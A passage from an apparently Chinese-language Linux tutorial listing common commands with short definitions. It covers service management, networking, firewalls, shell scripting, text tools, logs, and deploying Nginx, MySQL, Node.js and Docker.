systemctl stop service          # 停止服务
systemctl restart service       # 重启服务
systemctl reload service        # 重载配置
systemctl enable service        # 开机自启
systemctl disable service       # 取消开机自启
systemctl is-enabled service    # 检查是否开机自启
systemctl list-units            # 列出所有单元
systemctl list-unit-files       # 列出所有单元文件
journalctl -u service           # 查看服务日志

58. service - 管理系统服务

定义: service 命令用于管理系统服务(旧式 SysV init)。

service nginx start             # 启动服务
service nginx stop              # 停止服务
service nginx restart           # 重启服务
service nginx status            # 查看状态

注意: 现代系统推荐使用 systemctl 替代 service


四、网络配置

59. 网络配置

定义: Linux 网络配置涉及网络接口的设置、IP 地址分配、路由配置等。

配置文件:

  • /etc/network/interfaces(Debian/Ubuntu)
  • /etc/sysconfig/network-scripts/(CentOS/RHEL)
  • /etc/resolv.conf(DNS 配置)
  • /etc/hosts(主机名映射)

现代工具:

  • ip 命令替代 ifconfig
  • ss 命令替代 netstat

60. ifconfig - 网络接口配置

定义: ifconfig (interface configuration) 命令用于配置和查看网络接口。

ifconfig                        # 显示所有活动接口
ifconfig eth0                   # 显示eth0接口
ifconfig eth0 up                # 启用接口
ifconfig eth0 down              # 禁用接口
ifconfig eth0 192.168.1.100     # 设置IP地址

注意: ifconfig 已废弃,推荐使用 ip 命令。


61. ip - 网络管理命令

定义: ipifconfig 的现代替代工具,功能更强大。

ip addr                         # 显示IP地址
ip link                         # 显示网络接口
ip route                        # 显示路由表
ip addr add 192.168.1.100/24 dev eth0   # 添加IP地址
ip link set eth0 up                     # 启用接口
ip route add default via 192.168.1.1    # 添加默认路由

常用子命令:

  • ip addr:管理 IP 地址
  • ip link:管理网络接口
  • ip route:管理路由表

62. ping - 测试网络连通性

定义: ping 命令用于测试与目标主机的网络连通性。

ping google.com                 # 持续ping
ping -c 5 google.com            # ping 5次后停止
ping -i 2 google.com            # 每2秒ping一次
ping -s 64 google.com           # 指定数据包大小

原理: 使用 ICMP Echo Request/Echo Reply 报文。


63. netstat - 网络统计

定义: netstat (network statistics) 命令用于显示网络连接、路由表、接口统计等。

netstat -tlnp                   # 查看监听的TCP端口
netstat -ulnp                   # 查看监听的UDP端口
netstat -anp                    # 查看所有连接
netstat -s                      # 查看统计信息
netstat -rn                     # 查看路由表

常用参数:

  • -t:TCP 连接
  • -u:UDP 连接
  • -l:仅监听
  • -n:数字显示(不解析主机名)
  • -p:显示进程
  • -a:所有连接
  • -r:路由表

64. ss - 查看套接字统计

定义: ss (socket statistics) 是 netstat 的现代替代工具。

ss -tlnp                        # 查看监听的TCP端口
ss -ulnp                        # 查看监听的UDP端口
ss -anp                         # 查看所有连接
ss -s                           # 查看统计信息

优势:netstat 更快,支持更多功能。


65. telnet - 远程登录

定义: telnet 命令用于远程登录和测试端口连通性。

telnet host port                # 连接远程主机
telnet localhost 80             # 测试80端口

注意: telnet 传输不加密,推荐使用 ssh 替代。常用于测试端口连通性。


66. curl - 命令行 HTTP 客户端

定义: curl 命令用于通过 URL 语法传输数据。

curl https://example.com        # 获取网页
curl -O https://example.com/file    # 下载文件(保持原名)
curl -o file https://example.com    # 下载文件(指定文件名)
curl -I https://example.com         # 只获取响应头
curl -X POST https://example.com    # POST请求
curl -d "data=value" https://example.com    # POST数据
curl -H "Authorization: Bearer token" https://example.com    # 添加请求头

67. wget - 命令行下载工具

定义: wget 命令用于从网络下载文件。

wget https://example.com/file       # 下载文件
wget -O output https://example.com  # 指定输出文件名
wget -c https://example.com/file    # 断点续传
wget -r https://example.com         # 递归下载
wget -i urls.txt                    # 从文件读取URL下载

对比 curl

  • curl:支持更多协议,默认输出到 stdout
  • wget:支持递归下载,默认保存到文件

68. ssh - 安全远程登录

定义: ssh (Secure Shell) 命令用于安全地远程登录到服务器。

ssh user@host                     # 登录远程主机
ssh -p 2222 user@host             # 指定端口
ssh -i key.pem user@host          # 使用密钥登录
ssh user@host "command"           # 执行远程命令
ssh -L 8080:localhost:80 user@host    # 本地端口转发
ssh -R 8080:localhost:80 user@host    # 远程端口转发

配置免密登录:

ssh-keygen                        # 生成密钥对
ssh-copy-id user@host             # 复制公钥到远程主机

69. scp - 安全复制

定义: scp (secure copy) 命令用于通过 SSH 安全地复制文件。

scp file.txt user@host:/path/     # 上传文件
scp user@host:/path/file.txt ./   # 下载文件
scp -r dir user@host:/path/       # 递归复制目录
scp -P 2222 file.txt user@host:/path/   # 指定端口

70. rsync - 远程同步

定义: rsync 命令用于高效地同步文件和目录。

rsync -av source/ dest/           # 本地同步
rsync -av source/ user@host:/dest/    # 同步到远程
rsync -avz user@host:/src/ dest/  # 压缩传输
rsync -av --delete source/ dest/  # 删除目标多余文件
rsync -av --exclude "*.log" source/ dest/   # 排除文件

常用参数:

  • -a:归档模式(保留权限、时间等)
  • -v:详细输出
  • -z:压缩传输
  • -P:显示进度并支持断点续传

优势: 只传输变化的部分,效率高。


71-74. 防火墙管理

定义: Linux 防火墙用于控制网络流量进出系统。

iptables:

iptables -L                       # 查看规则
iptables -A INPUT -p tcp --dport 80 -j ACCEPT     # 允许80端口
iptables -A INPUT -p tcp --dport 443 -j ACCEPT    # 允许443端口
iptables -A INPUT -j DROP                         # 拒绝所有入站

firewalld(CentOS/RHEL):

firewall-cmd --list-all           # 查看配置
firewall-cmd --add-port=80/tcp    # 添加端口
firewall-cmd --reload             # 重载配置
firewall-cmd --permanent --add-port=80/tcp        # 永久添加

ufw(Ubuntu):

ufw status                        # 查看状态
ufw enable                        # 启用防火墙
ufw allow 80/tcp                  # 允许80端口
ufw deny 22/tcp                   # 拒绝22端口
ufw delete allow 80/tcp           # 删除规则

对比:

工具 发行版 特点
iptables 通用 底层、功能强大、配置复杂
firewalld CentOS/RHEL 动态管理、支持区域
ufw Ubuntu/Debian 简单易用、基于iptables

75. 端口管理

定义: 端口是网络通信的端点,用于区分不同服务。

常用端口:

  • 22:SSH
  • 80:HTTP
  • 443:HTTPS
  • 3306:MySQL
  • 5432:PostgreSQL
  • 6379:Redis
  • 8080:HTTP 代理

查看端口:

ss -tlnp                        # 查看监听端口
netstat -tlnp                   # 查看监听端口
lsof -i :80                     # 查看80端口占用

五、Shell 脚本

76. Shell

定义: Shell 是 Linux 的命令行解释器,用于接收用户输入的命令并执行。

常见 Shell:

  • Bash(Bourne Again Shell):最常用,大多数发行版默认 Shell
  • Zsh(Z Shell):功能强大,支持插件
  • sh(Bourne Shell):早期标准 Shell
  • Fish:友好交互的 Shell

查看当前 Shell:

echo $SHELL                     # 查看当前Shell
cat /etc/shells                 # 查看系统可用的Shell

77. Shell 脚本

定义: Shell 脚本是将一系列命令保存到文件中,按顺序执行的程序。

基本结构:

#!/bin/bash                     # Shebang(指定解释器)

# 注释
echo "Hello World"              # 输出

# 变量
NAME="John"
echo "Hello $NAME"

# 条件判断
if [ -f "file.txt" ]; then
    echo "File exists"
elif [ -d "file.txt" ]; then
    echo "Is directory"
else
    echo "Not found"
fi

# 循环
for i in 1 2 3; do
    echo $i
done

# 函数
my_function() {
    echo "Function called"
}
my_function

执行方式:

./script.sh                     # 需要执行权限
bash script.sh                  # 不需要执行权限
source script.sh                # 在当前Shell执行
. script.sh                     # 同source

78. Bash

定义: Bash 是 GNU 项目的 Shell,是 sh 的增强版。

特性:

  • 命令补全(Tab)
  • 命令历史
  • 别名
  • 变量
  • 条件判断
  • 循环
  • 函数
  • 管道
  • 重定向

79. Shell 变量

定义: Shell 变量是存储数据的容器。

变量类型:

  • 环境变量:全局变量,对所有进程可见
  • 局部变量:仅在当前 Shell 可见
# 定义变量
NAME="John"
AGE=25

# 使用变量
echo $NAME
echo ${NAME}

# 环境变量
export PATH="/usr/local/bin:$PATH"

# 特殊变量
$0          # 脚本名
$1, $2...   # 参数
$#          # 参数个数
$@          # 所有参数
$?          # 上一个命令的退出状态
$$          # 当前进程PID
$!          # 最后一个后台进程PID

80. Shell 条件判断

定义: 条件判断用于根据条件执行不同的代码块。

文件测试:

[ -f file ]       # 文件存在
[ -d dir ]        # 目录存在
[ -e path ]       # 路径存在
[ -r file ]       # 可读
[ -w file ]       # 可写
[ -x file ]       # 可执行
[ -s file ]       # 非空文件

字符串比较:

[ "$a" = "$b" ]     # 相等
[ "$a" != "$b" ]    # 不等
[ -z "$a" ]         # 空字符串
[ -n "$a" ]         # 非空字符串

数值比较:

[ $a -eq $b ]       # 等于
[ $a -ne $b ]       # 不等于
[ $a -gt $b ]       # 大于
[ $a -lt $b ]       # 小于
[ $a -ge $b ]       # 大于等于
[ $a -le $b ]       # 小于等于

逻辑运算:

[ $a -gt 0 ] && [ $a -lt 10 ]    # 与
[ $a -eq 0 ] || [ $a -eq 1 ]     # 或
[ ! $a -eq 0 ]                   # 非

81. Shell 循环

定义: 循环用于重复执行代码块。

for 循环:

# 基本for
for i in 1 2 3; do
    echo $i
done

# 范围
for i in {1..10}; do
    echo $i
done

# C风格
for ((i=0; i<10; i++)); do
    echo $i
done

# 遍历文件
for file in *.txt; do
    echo $file
done

while 循环:

count=0
while [ $count -lt 10 ]; do
    echo $count
    ((count++))
done

# 读取文件
while read line; do
    echo $line
done < file.txt

until 循环:

count=0
until [ $count -ge 10 ]; do
    echo $count
    ((count++))
done

82. Shell 函数

定义: 函数是可重复使用的代码块。

# 定义函数
function_name() {
    echo "Hello $1"
    return 0
}

# 调用函数
function_name "World"

# 带返回值
add() {
    echo $(($1 + $2))
}
result=$(add 3 5)
echo $result

83. Shell 参数

定义: Shell 参数是传递给脚本或函数的值。

#!/bin/bash
echo "脚本名: $0"
echo "第一个参数: $1"
echo "第二个参数: $2"
echo "所有参数: $@"
echo "参数个数: $#"

shift 命令: 将参数向左移动

while [ $# -gt 0 ]; do
    echo $1
    shift
done

84. Shell 运算符

定义: Shell 支持多种运算符用于数值计算。

算术运算:

expr 5 + 3                    # 使用expr
echo $((5 + 3))               # 使用$(( ))
echo $[5 + 3]                 # 使用$[ ]
let "a=5+3"                   # 使用let

常用运算符:

  • + 加法
  • - 减法
  • * 乘法
  • / 除法
  • % 取模
  • ** 幂运算

85. Shell 字符串处理

定义: Shell 提供多种方式处理字符串。

str="Hello World"

# 长度
echo ${#str}

# 截取
echo ${str:0:5}           # Hello
echo ${str:6}             # World

# 替换
echo ${str/World/Bash}    # Hello Bash
echo ${str//l/L}          # HeLLo Bash(全部替换)

# 删除
echo ${str#Hello}         #  World(删除前缀)
echo ${str%World}         # Hello (删除后缀)

# 大小写转换
echo ${str^^}             # HELLO WORLD(大写)
echo ${str,,}             # hello world(小写)

86. Shell 数组

定义: Shell 数组是存储多个值的变量。

# 定义数组
arr=(apple banana cherry)

# 访问元素
echo ${arr[0]}            # apple
echo ${arr[@]}            # 所有元素
echo ${#arr[@]}           # 数组长度

# 添加元素
arr+=(date)

# 删除元素
unset arr[1]

# 遍历
for item in ${arr[@]}; do
    echo $item
done

87. Shell 重定向

定义: 重定向用于改变命令的输入输出流向。

# 标准输出重定向
command > file.txt          # 覆盖输出
command >> file.txt         # 追加输出

# 标准错误重定向
command 2> error.txt        # 错误输出到文件

# 重定向标准输出和错误
command > file.txt 2>&1     # 全部输出到文件
command &> file.txt         # 简写(Bash)

# 标准输入重定向
command < file.txt          # 从文件读取输入
command << EOF              # here document
line 1
line 2
EOF

# /dev/null(黑洞)
command > /dev/null 2>&1    # 丢弃所有输出

文件描述符:

  • 0:标准输入(stdin)
  • 1:标准输出(stdout)
  • 2:标准错误(stderr)

88. Shell 管道

定义: 管道 | 将前一个命令的输出作为后一个命令的输入。

ls -l | grep ".txt"         # 查找txt文件
cat file.txt | wc -l        # 统计行数
ps aux | grep nginx | wc -l # 统计nginx进程数
cat file.txt | sort | uniq  # 排序并去重

最佳实践: 管道可以连接多个命令,形成数据处理流水线。


89. Shell 通配符

定义: 通配符用于模式匹配文件名。

*           # 匹配任意字符(0或多个)
?           # 匹配单个字符
[abc]       # 匹配a、b或c
[a-z]       # 匹配a到z
[0-9]       # 匹配0到9
!pattern    # 不匹配

示例:

ls *.txt                    # 所有txt文件
ls file?.txt                # file1.txt, file2.txt等
ls [abc]*.txt               # 以a、b或c开头的txt文件

90. Shell 正则表达式

定义: 正则表达式是用于模式匹配的字符串模式。

基本正则:

.           # 任意字符
*           # 前一个字符0次或多次
^           # 行首
$           # 行尾
[]          # 字符集
[^]         # 否定字符集
\           # 转义

扩展正则(需使用 -E 或 \):

+           # 前一个字符1次或多次
?           # 前一个字符0次或1次
|           # 或
()          # 分组
{}          # 重复次数

91-92. crontab 与定时任务

定义: crontab 用于设置周期性执行的任务。

使用:

crontab -l                    # 查看定时任务
crontab -e                    # 编辑定时任务
crontab -r                    # 删除所有定时任务

格式:

分 时 日 月 周 命令

示例:

# 每天凌晨2点执行
0 2 * * * /path/to/script.sh

# 每5分钟执行
*/5 * * * * /path/to/script.sh

# 每周一9点执行
0 9 * * 1 /path/to/script.sh

# 每月1号执行
0 0 1 * * /path/to/script.sh

特殊字符串:

@reboot     # 启动时
@yearly     # 每年
@monthly    # 每月
@weekly     # 每周
@daily      # 每天
@hourly     # 每小时

六、常用工具(grep、awk、sed)

93. grep - 文本搜索

定义: grep (Global Regular Expression Print) 用于在文件中搜索匹配的行。

grep "pattern" file.txt                   # 搜索
grep -i "pattern" file.txt                # 不区分大小写
grep -n "pattern" file.txt                # 显示行号
grep -v "pattern" file.txt                # 反向匹配(不包含)
grep -r "pattern" /path/                  # 递归搜索
grep -c "pattern" file.txt                # 统计匹配行数
grep -l "pattern" *.txt                   # 显示匹配的文件名
grep -E "pattern" file.txt                # 使用扩展正则

94. grep 正则表达式

定义: grep 支持基本正则和扩展正则表达式。

基本正则:

grep "^start" file.txt              # 以start开头
grep "end$" file.txt                # 以end结尾
grep "[0-9]" file.txt               # 匹配数字
grep "[A-Z]" file.txt               # 匹配大写字母

扩展正则(-E 或 egrep):

grep -E "pattern1|pattern2" file.txt    # 或
grep -E "colou?r" file.txt              # 0次或1次
grep -E "ab+c" file.txt                 # 1次或多次
grep -E "(ab)+" file.txt                # 分组

95. awk - 文本处理工具

定义: awk 是强大的文本处理工具,按行处理结构化数据。

基本用法:

awk '{print $1}' file.txt                   # 打印第一列
awk '{print $1, $3}' file.txt               # 打印第1、3列
awk -F: '{print $1}' /etc/passwd            # 指定分隔符
awk '/pattern/ {print $0}' file.txt         # 匹配模式
awk 'NR==1 {print}' file.txt                # 打印第一行
awk 'END {print NR}' file.txt               # 打印总行数
awk '{sum+=$1} END {print sum}' file.txt    # 求和

内置变量:

  • $0:整行
  • $1, $2...:各列
  • NR:行号
  • NF:列数
  • FS:输入分隔符
  • OFS:输出分隔符

96. awk 文本处理

定义: awk 支持复杂的文本处理逻辑。

# 条件处理
awk '$3 > 100 {print $1, $3}' file.txt

# 格式化输出
awk '{printf "%-10s %5d\n", $1, $2}' file.txt

# 数组统计
awk '{count[$1]++} END {for (k in count) print k, count[k]}' file.txt

# 多文件处理
awk '{print FILENAME, $0}' file1.txt file2.txt

97. sed - 流编辑器

定义: sed (Stream EDitor) 用于对文本进行流式编辑。

基本用法:

sed 's/old/new/g' file.txt              # 替换所有
sed 's/old/new/' file.txt               # 只替换每行第一个
sed '2s/old/new/' file.txt              # 只替换第2行
sed '/pattern/s/old/new/' file.txt      # 匹配模式的行替换
sed -i 's/old/new/g' file.txt           # 直接修改文件

98. sed 文本替换

定义: sed 最常用于文本替换。

# 删除行
sed '3d' file.txt                       # 删除第3行
sed '/pattern/d' file.txt               # 删除匹配的行
sed '1,5d' file.txt                     # 删除1-5行

# 插入行
sed '3i\new line' file.txt              # 在第3行前插入
sed '3a\new line' file.txt              # 在第3行后追加

# 多行操作
sed -n '2,5p' file.txt                  # 打印2-5行

99. cut - 提取列

定义: cut 命令用于提取文本的指定列。

cut -d: -f1 /etc/passwd                 # 以:分隔,取第1列
cut -d: -f1,3 /etc/passwd               # 取第1、3列
cut -c1-5 file.txt                      # 取第1-5个字符
cut -f2-4 file.txt                      # 取第2-4列(默认Tab分隔)

100. sort - 排序

定义: sort 命令用于对文本行排序。

sort file.txt                           # 默认按字母排序
sort -n file.txt                        # 按数值排序
sort -r file.txt                        # 逆序
sort -u file.txt                        # 去重
sort -k2 file.txt                       # 按第2列排序
sort -t: -k3 -n /etc/passwd             # 以:分隔,按第3列数值排序

101. uniq - 去重

定义: uniq 命令用于去除相邻的重复行。

uniq file.txt                           # 去重(需先排序)
sort file.txt | uniq                    # 排序后去重
sort file.txt | uniq -c                 # 统计重复次数
sort file.txt | uniq -d                 # 只显示重复行
sort file.txt | uniq -u                 # 只显示不重复的行

102. wc - 统计

定义: wc (word count) 命令用于统计行数、词数、字节数。

wc file.txt                             # 行数、词数、字节数
wc -l file.txt                          # 只统计行数
wc -w file.txt                          # 只统计词数
wc -c file.txt                          # 只统计字节数
wc -m file.txt                          # 只统计字符数

103. diff - 比较文件

定义: diff 命令用于比较两个文件的差异。

diff file1.txt file2.txt                # 比较文件
diff -u file1.txt file2.txt             # 统一格式输出
diff -r dir1/ dir2/                     # 递归比较目录
diff -y file1.txt file2.txt             # 并排显示差异

104. patch - 应用补丁

定义: patch 命令用于将 diff 生成的补丁应用到文件。

diff -u file1.txt file2.txt > patch.diff    # 生成补丁
patch file1.txt < patch.diff                # 应用补丁
patch -p1 < patch.diff                      # 应用补丁(去除路径前缀)

105. tr - 转换字符

定义: tr (translate) 命令用于转换或删除字符。

echo "hello" | tr 'a-z' 'A-Z'           # 转大写
echo "HELLO" | tr 'A-Z' 'a-z'           # 转小写
echo "hello" | tr -d 'l'                # 删除字符l
echo "hello" | tr -s 'l'                # 压缩重复字符
tr '\n' ',' < file.txt                  # 换行符替换为逗号

106. xargs - 构建命令行

定义: xargs 命令从标准输入构建并执行命令行。

find . -name "*.txt" | xargs rm         # 查找并删除
find . -name "*.txt" | xargs -I {} mv {} /dest/   # 逐个处理
cat files.txt | xargs -n 2              # 每行2个参数
cat files.txt | xargs -I {} echo "File: {}"       # 替换参数

常用参数:

  • -n:每行参数个数
  • -I:替换字符串
  • -d:分隔符
  • -p:执行前提示

七、日志查看与分析

107. 日志

定义: Linux 日志是系统和服务运行过程中记录的事件信息。

日志级别:

  • DEBUG:调试信息
  • INFO:一般信息
  • WARNING:警告
  • ERROR:错误
  • CRITICAL:严重错误

108. 日志查看

定义: 日志查看是使用工具查看和分析日志文件。

tail -f /var/log/syslog                 # 实时查看
less /var/log/syslog                    # 分页查看
grep "error" /var/log/syslog            # 搜索错误
journalctl -f                           # 实时查看系统日志

109. /var/log

定义: /var/log 是 Linux 系统日志的标准存储目录。

常见日志文件:

/var/log/syslog         # 系统日志(Debian/Ubuntu)
/var/log/messages       # 系统日志(CentOS/RHEL)
/var/log/auth.log       # 认证日志
/var/log/kern.log       # 内核日志
/var/log/dpkg.log       # 包管理日志
/var/log/nginx/         # Nginx日志
/var/log/mysql/         # MySQL日志
/var/log/boot.log       # 启动日志
/var/log/cron           # 定时任务日志

110. journalctl - 系统日志管理

定义: journalctl 是 systemd 系统的日志查看工具。

journalctl                              # 查看所有日志
journalctl -u nginx                     # 查看特定服务日志
journalctl -f                           # 实时查看
journalctl --since "2024-03-01"         # 查看指定时间后
journalctl --until "2024-03-15"         # 查看指定时间前
journalctl -p err                       # 查看错误级别
journalctl -xe                          # 详细输出
journalctl --disk-usage                 # 查看日志占用
journalctl --vacuum-time=2d             # 清理2天前的日志

111. syslog - 系统日志服务

定义: syslog 是 Linux 的系统日志服务。

配置文件: /etc/syslog.conf/etc/rsyslog.conf

日志设施:

  • auth:认证相关
  • authpriv:特权认证
  • cron:定时任务
  • daemon:守护进程
  • kern:内核
  • mail:邮件
  • user:用户程序

112. dmesg - 内核日志

定义: dmesg 命令用于查看内核环形缓冲区消息。

dmesg                                   # 查看所有内核日志
dmesg | tail                            # 查看最新内核日志
dmesg -T                                # 显示人类可读时间
dmesg | grep -i error                   # 搜索错误
dmesg | grep -i usb                     # 查看USB设备信息

113. last - 登录历史

定义: last 命令用于查看用户登录历史记录。

last                                    # 查看所有登录记录
last username                           # 查看特定用户
last -10                                # 查看最近10条
last reboot                             # 查看重启记录

114. lastb - 失败登录记录

定义: lastb 命令用于查看登录失败的记录。

lastb                                   # 查看所有失败登录
lastb username                          # 查看特定用户失败记录

注意: 需要 root 权限才能查看。


115. who - 查看当前登录用户

定义: who 命令用于查看当前登录的用户信息。

who                                     # 查看当前登录用户
who -u                                  # 显示详细信息
who am i                                # 查看当前终端用户

116. w - 用户活动信息

定义: w 命令用于查看当前登录用户及其活动。

w                                       # 查看用户活动
w username                              # 查看特定用户

输出: 显示用户名、终端、登录时间、空闲时间、当前命令。


117. 日志分析

定义: 日志分析是从日志中提取有用信息的过程。

常用工具:

# 统计访问量
awk '{print $1}' access.log | sort | uniq -c | sort -rn

# 查看错误
grep "ERROR" app.log | tail -20

# 查看特定时间段
sed -n '/2024-03-01 10:00/,/2024-03-01 11:00/p' app.log

# 统计状态码
awk '{print $9}' access.log | sort | uniq -c | sort -rn

# 查找慢请求
awk '$NF > 1 {print}' access.log

118-119. 日志轮转与 logrotate

定义: 日志轮转是定期归档、压缩和删除旧日志的机制。

logrotate 配置:

# 配置文件
/etc/logrotate.conf                     # 主配置
/etc/logrotate.d/                       # 服务配置目录

示例配置:

/var/log/nginx/*.log {
    daily                               # 每天轮转
    missingok                           # 日志不存在不报错
    rotate 7                            # 保留7个备份
    compress                            # 压缩旧日志
    delaycompress                       # 延迟压缩(上一次不压缩)
    notifempty                          # 空文件不轮转
    create 0644 www-data www-data       # 创建新文件的权限
    sharedscripts                       # 只执行一次postrotate
    postrotate
        systemctl reload nginx
    endscript
}

手动执行:

logrotate /etc/logrotate.conf           # 执行轮转
logrotate -d /etc/logrotate.conf        # 调试模式
logrotate -f /etc/logrotate.conf        # 强制执行

八、服务器部署

120. 服务器部署

定义: 服务器部署是将应用程序安装、配置到服务器上并使其可访问的过程。

部署流程:

  1. 安装运行环境(Node.js、Python、Java 等)
  2. 安装 Web 服务器(Nginx、Apache)
  3. 安装数据库(MySQL、PostgreSQL)
  4. 配置反向代理
  5. 配置 SSL 证书
  6. 配置防火墙
  7. 启动服务
  8. 监控和维护

121. Nginx 安装

Ubuntu/Debian:

sudo apt update
sudo apt install nginx
sudo systemctl start nginx
sudo systemctl enable nginx

CentOS/RHEL:

sudo yum install epel-release
sudo yum install nginx
sudo systemctl start nginx
sudo systemctl enable nginx

122. Nginx 配置

配置文件:

/etc/nginx/nginx.conf                   # 主配置
/etc/nginx/sites-available/             # 站点配置
/etc/nginx/sites-enabled/               # 启用的站点

基本配置:

server {
    listen 80;
    server_name example.com;
    root /var/www/html;
    index index.html;

    location / {
        try_files $uri $uri/ =404;
    }

    location /api {
        proxy_pass http://localhost:3000;
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
    }
}

常用命令:

nginx -t                                # 测试配置
systemctl reload nginx                  # 重载配置
systemctl restart nginx                 # 重启服务

123. Apache 安装

Ubuntu/Debian:

sudo apt update
sudo apt install apache2
sudo systemctl start apache2
sudo systemctl enable apache2

CentOS/RHEL:

sudo yum install httpd
sudo systemctl start httpd
sudo systemctl enable httpd

124. Apache 配置

配置文件:

/etc/apache2/apache2.conf               # 主配置(Ubuntu)
/etc/httpd/conf/httpd.conf              # 主配置(CentOS)
/etc/apache2/sites-available/           # 站点配置(Ubuntu)

基本配置:

<VirtualHost *:80>
    ServerName example.com
    DocumentRoot /var/www/html
    
    <Directory /var/www/html>
        AllowOverride All
        Require all granted
    </Directory>
    
    ProxyPass /api http://localhost:3000
    ProxyPassReverse /api http://localhost:3000
</VirtualHost>

常用命令:

apachectl configtest                    # 测试配置
systemctl reload apache2                # 重载配置
a2ensite site.conf                      # 启用站点(Ubuntu)
a2dissite site.conf                     # 禁用站点(Ubuntu)
a2enmod proxy                           # 启用模块(Ubuntu)

125. MySQL 安装

Ubuntu/Debian:

sudo apt update
sudo apt install mysql-server
sudo systemctl start mysql
sudo systemctl enable mysql
sudo mysql_secure_installation          # 安全配置

CentOS/RHEL:

sudo yum install mysql-server
sudo systemctl start mysqld
sudo systemctl enable mysqld

126. MySQL 配置

配置文件:

/etc/mysql/mysql.conf.d/mysqld.cnf      # Ubuntu
/etc/my.cnf                             # CentOS

常用命令:

mysql -u root -p                        # 登录MySQL
SHOW DATABASES;                         # 显示数据库
CREATE DATABASE mydb;                   # 创建数据库
CREATE USER 'user'@'localhost' IDENTIFIED BY 'password';  # 创建用户
GRANT ALL PRIVILEGES ON mydb.* TO 'user'@'localhost';     # 授权
FLUSH PRIVILEGES;                       # 刷新权限

127. Node.js 安装

使用 NVM(推荐):

curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.39.7/install.sh | bash
nvm install --lts
nvm use --lts

使用包管理器:

# Ubuntu
curl -fsSL https://deb.nodesource.com/setup_lts.x | sudo -E bash -
sudo apt install nodejs

# CentOS
curl -fsSL https://rpm.nodesource.com/setup_lts.x | sudo bash -
sudo yum install nodejs

验证安装:

node -v                                 # 查看版本
npm -v                                  # 查看npm版本

128. PM2 部署

定义: PM2 是 Node.js 进程管理器。

npm install -g pm2                      # 安装
pm2 start app.js                        # 启动应用
pm2 start app.js -i max                 # 集群模式(最大进程数)
pm2 list                                # 列出进程
pm2 stop app                            # 停止
pm2 restart app                         # 重启
pm2 delete app                          # 删除
pm2 logs                                # 查看日志
pm2 monit                               # 监控
pm2 startup                             # 设置开机自启
pm2 save                                # 保存当前进程列表

** ecosystem 配置:**

module.exports = {
  apps: [{
    name: 'myapp',
    script: 'app.js',
    instances: 'max',
    exec_mode: 'cluster',
    env: {
      NODE_ENV: 'production',
      PORT: 3000
    }
  }]
};
pm2 start ecosystem.config.js           # 使用配置启动

129. 反向代理

定义: 反向代理是位于客户端和服务器之间的代理服务器,转发客户端请求到后端服务器。

Nginx 配置:

server {
    listen 80;
    server_name example.com;

    location / {
        proxy_pass http://localhost:3000;
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
        proxy_set_header X-Forwarded-Proto $scheme;
    }
}

优势:

  • 负载均衡
  • SSL 终止
  • 缓存
  • 安全防护
  • 隐藏后端服务器

130. 负载均衡

定义: 负载均衡是将流量分配到多个后端服务器。

Nginx 配置:

upstream backend {
    server 192.168.1.10:3000;
    server 192.168.1.11:3000;
    server 192.168.1.12:3000;
}

server {
    listen 80;
    location / {
        proxy_pass http://backend;
    }
}

负载均衡策略:

  • round-robin:轮询(默认)
  • least_conn:最少连接
  • ip_hash:按 IP 哈希
  • weight:权重
upstream backend {
    server 192.168.1.10:3000 weight=3;
    server 192.168.1.11:3000 weight=1;
    least_conn;
}

131. SSL 证书

定义: SSL 证书用于加密网络通信。

获取证书(Let's Encrypt):

sudo apt install certbot python3-certbot-nginx
sudo certbot --nginx -d example.com -d www.example.com

证书文件:

  • .crt.pem:证书文件
  • .key:私钥文件

132. HTTPS 配置

Nginx HTTPS 配置:

server {
    listen 443 ssl;
    server_name example.com;

    ssl_certificate /path/to/cert.pem;
    ssl_certificate_key /path/to/key.pem;

    ssl_protocols TLSv1.2 TLSv1.3;
    ssl_ciphers HIGH:!aNULL:!MD5;

    location / {
        proxy_pass http://localhost:3000;
    }
}

# HTTP重定向到HTTPS
server {
    listen 80;
    server_name example.com;
    return 301 https://$server_name$request_uri;
}

九、Docker 基础

133-134. Docker 是什么?

定义: Docker 是一个开源的容器化平台,用于开发、交付和运行应用程序。

原理: Docker 使用 Linux 内核特性(cgroups、namespaces)实现资源隔离和限制,使应用及其依赖打包成独立的容器。

核心概念:

  • 镜像(Image):只读模板,包含应用和依赖
  • 容器(Container):镜像的运行实例
  • Dockerfile:构建镜像的脚本
  • 仓库(Registry):存储和分发镜像
  • 数据卷(Volume):持久化数据

优势:

  • 环境一致性
  • 快速部署
  • 资源隔离
  • 轻量级(共享主机内核)
  • 易于扩展

135. Docker 安装

Ubuntu/Debian:

sudo apt update
sudo apt install docker.io
sudo systemctl start docker
sudo systemctl enable docker
sudo usermod -aG docker $USER           # 添加用户到docker组

CentOS/RHEL:

sudo yum install docker
sudo systemctl start docker
sudo systemctl enable docker

验证安装:

docker --version
docker run hello-world

136. Docker 镜像

定义: Docker 镜像是只读模板,包含运行应用所需的所有内容。

docker images                           # 列出镜像
docker pull nginx                       # 下载镜像
docker pull nginx:latest                # 指定标签
docker rmi nginx                        # 删除镜像
docker rmi -f nginx                     # 强制删除
docker tag nginx mynginx:1.0            # 标记镜像
docker save nginx -o nginx.tar          # 导出镜像
docker load -i nginx.tar                # 导入镜像
docker history nginx                    # 查看镜像历史

137. Docker 容器

定义: 容器是镜像的运行实例,包含运行中的应用。

docker ps                               # 查看运行中的容器
docker ps -a                            # 查看所有容器
docker run -d --name mynginx nginx      # 启动容器
docker stop mynginx                     # 停止容器
docker start mynginx                    # 启动已停止的容器
docker restart mynginx                  # 重启容器
docker rm mynginx                       # 删除容器
docker rm -f mynginx                    # 强制删除运行中的容器
docker logs mynginx                     # 查看日志
docker logs -f mynginx                  # 实时查看日志
docker exec -it mynginx bash            # 进入容器
docker inspect mynginx                  # 查看容器详情
docker top mynginx                      # 查看容器进程
docker stats                            # 查看资源使用

138. docker pull

定义: docker pull 用于从仓库下载镜像。

docker pull nginx                       # 下载latest标签
docker pull nginx:1.21                  # 下载指定标签
docker pull ubuntu:20.04                # 下载Ubuntu 20.04

139. docker run

定义: docker run 用于从镜像启动容器。

docker run nginx                        # 基本运行
docker run -d nginx                     # 后台运行
docker run -d --name web nginx          # 指定名称
docker run -d -p 8080:80 nginx          # 端口映射
docker run -d -v /data:/var/www nginx   # 挂载数据卷
docker run -d -e MYSQL_ROOT_PASSWORD=123 mysql  # 设置环境变量
docker run -it ubuntu bash              # 交互式运行
docker run --restart=always nginx       # 自动重启

常用参数:

